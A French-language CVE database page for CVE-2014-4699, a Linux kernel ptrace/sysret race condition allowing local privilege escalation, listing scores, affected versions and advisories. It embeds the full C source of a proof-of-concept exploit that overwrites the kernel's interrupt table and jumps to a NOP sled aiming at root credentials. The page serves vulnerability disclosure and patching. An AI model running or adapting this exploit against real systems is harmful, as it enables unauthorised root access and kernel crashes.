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CVE-2014-4699 : Détail

CVE-2014-4699

0.04%V3
Local
2014-07-09 08:00 +00:00
2014-07-25 17:57 +00:00
CVE.org
NVD

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Descriptions

The Linux kernel before 3.15.4 on Intel processors does not properly restrict use of a non-canonical value for the saved RIP address in the case of a system call that does not use IRET, which allows local users to leverage a race condition and gain privileges, or cause a denial of service (double fault), via a crafted application that makes ptrace and fork system calls.

Informations

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
The product contains a code sequence that can run concurrently with other code, and the code sequence requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence that is operating concurrently.

Metrics

Metric Score Sévérité CVSS Vecteur Source
V2 6.9 AV:L/AC:M/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

EPSS Score

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

EPSS Percentile

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 34134

Date de publication : 2014-07-20 22:00 +00:00
Auteur : Vitaly Nikolenko
EDB Vérifié : No

/** * CVE-2014-4699 ptrace/sysret PoC * by Vitaly Nikolenko * [email protected] * * > gcc -O2 poc_v0.c * * This code is kernel specific. On Ubuntu 12.04.0 LTS (3.2.0-23-generic), the * following will trigger the #GP in sysret and overwrite the #PF handler so we * can land to our NOP sled mapped at 0x80000000. * However, once landed, the IDT will be trashed. We can either attempt to * restore it (then escalate privileges and execute our shellcode) or find * something else to overwrite that would transfer exec flow to our controlled * user-space address. Since 3.10.something, IDT is read-only anyway. If you * have any ideas, let me know. */ #include <stdio.h> #include <stdint.h> #include <assert.h> #include <sys/ptrace.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/syscall.h> #include <sys/user.h> #include <unistd.h> #include <sys/mman.h> #include <errno.h> #define SIZE 0x10000000 typedef int __attribute__((regparm(3))) (*commit_creds_fn)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(unsigned long cred); unsigned long __user_cs; unsigned long __user_ss; unsigned long __user_rflags; void __attribute__((regparm(3))) payload() { uint32_t *fixptr = (void*)0xffffffff81dd70e8; // restore the #PF handler *fixptr = -1; //commit_creds_fn commit_creds = (commit_creds_fn)0xffffffff81091630; //prepare_kernel_cred_fn prepare_kernel_cred = (prepare_kernel_cred_fn)0xffffffff810918e0; //commit_creds(prepare_kernel_cred((uint64_t)NULL)); //__asm__ volatile ("swapgs\n\t" // "..."); } int main() { struct user_regs_struct regs; uint8_t *trampoline, *tmp; int status; struct { uint16_t limit; uint64_t addr; } __attribute__((packed)) idt; // MAP_POPULATE so we don't trigger extra #PF trampoline = mmap(0x80000000, SIZE, 7|PROT_EXEC|PROT_READ|PROT_WRITE, 0x32|MAP_FIXED|MAP_POPULATE|MAP_GROWSDOWN, 0,0); assert(trampoline == 0x80000000); memset(trampoline, 0x90, SIZE); tmp = trampoline; tmp += SIZE-1024; memcpy(tmp, &payload, 1024); memcpy(tmp-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf", 13); pid_t chld; if ((chld = fork()) < 0) { perror("fork"); exit(1); } if (chld == 0) { if (ptrace(PTRACE_TRACEME, 0, 0, 0) != 0) { perror("PTRACE_TRACEME"); exit(1); } raise(SIGSTOP); fork(); return 0; } asm volatile("sidt %0" : "=m" (idt)); printf("IDT addr = 0x%lx\n", idt.addr); waitpid(chld, &status, 0); ptrace(PTRACE_SETOPTIONS, chld, 0, PTRACE_O_TRACEFORK); ptrace(PTRACE_CONT, chld, 0, 0); waitpid(chld, &status, 0); ptrace(PTRACE_GETREGS, chld, NULL, &regs); regs.rdi = 0x0000000000000000; regs.rip = 0x8fffffffffffffff; regs.rsp = idt.addr + 14*16 + 8 + 0xb0 - 0x78; // attempt to restore the IDT regs.rdi = 0x0000000000000000; regs.rsi = 0x81658e000010cbd0; regs.rdx = 0x00000000ffffffff; regs.rcx = 0x81658e000010cba0; regs.rax = 0x00000000ffffffff; regs.r8 = 0x81658e010010cb00; regs.r9 = 0x00000000ffffffff; regs.r10 = 0x81668e0000106b10; regs.r11 = 0x00000000ffffffff; regs.rbx = 0x81668e0000106ac0; regs.rbp = 0x00000000ffffffff; regs.r12 = 0x81668e0000106ac0; regs.r13 = 0x00000000ffffffff; regs.r14 = 0x81668e0200106a90; regs.r15 = 0x00000000ffffffff; ptrace(PTRACE_SETREGS, chld, NULL, &regs); ptrace(PTRACE_CONT, chld, 0, 0); ptrace(PTRACE_DETACH, chld, 0, 0); }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version From (including) 2.6.17 To (excluding) 3.2.61

Linux>>Linux_kernel >> Version From (including) 3.3 To (excluding) 3.4.97

Linux>>Linux_kernel >> Version From (including) 3.5 To (excluding) 3.10.47

Linux>>Linux_kernel >> Version From (including) 3.11 To (excluding) 3.12.25

Linux>>Linux_kernel >> Version From (including) 3.13 To (excluding) 3.14.11

Linux>>Linux_kernel >> Version From (including) 3.15 To (excluding) 3.15.4

Configuraton 0

Debian>>Debian_linux >> Version 7.0

Configuraton 0

Canonical>>Ubuntu_linux >> Version 10.04

Canonical>>Ubuntu_linux >> Version 12.04

Canonical>>Ubuntu_linux >> Version 13.10

Canonical>>Ubuntu_linux >> Version 14.04

References

http://www.ubuntu.com/usn/USN-2269-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-2274-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-2268-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-2267-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.osvdb.org/108754
Tags : vdb-entry, x_refsource_OSVDB
http://secunia.com/advisories/60220
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.openwall.com/lists/oss-security/2014/07/04/4
Tags : mailing-list, x_refsource_MLIST
http://www.ubuntu.com/usn/USN-2271-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://secunia.com/advisories/59654
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.ubuntu.com/usn/USN-2266-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://openwall.com/lists/oss-security/2014/07/08/5
Tags : mailing-list, x_refsource_MLIST
http://openwall.com/lists/oss-security/2014/07/08/16
Tags : mailing-list, x_refsource_MLIST
http://secunia.com/advisories/59633
Tags : third-party-advisory, x_refsource_SECUNIA
http://openwall.com/lists/oss-security/2014/07/05/4
Tags : mailing-list, x_refsource_MLIST
http://secunia.com/advisories/60393
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/60380
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.ubuntu.com/usn/USN-2270-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.exploit-db.com/exploits/34134
Tags : exploit, x_refsource_EXPLOIT-DB
http://secunia.com/advisories/59639
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.ubuntu.com/usn/USN-2273-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-2272-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.debian.org/security/2014/dsa-2972
Tags : vendor-advisory, x_refsource_DEBIAN

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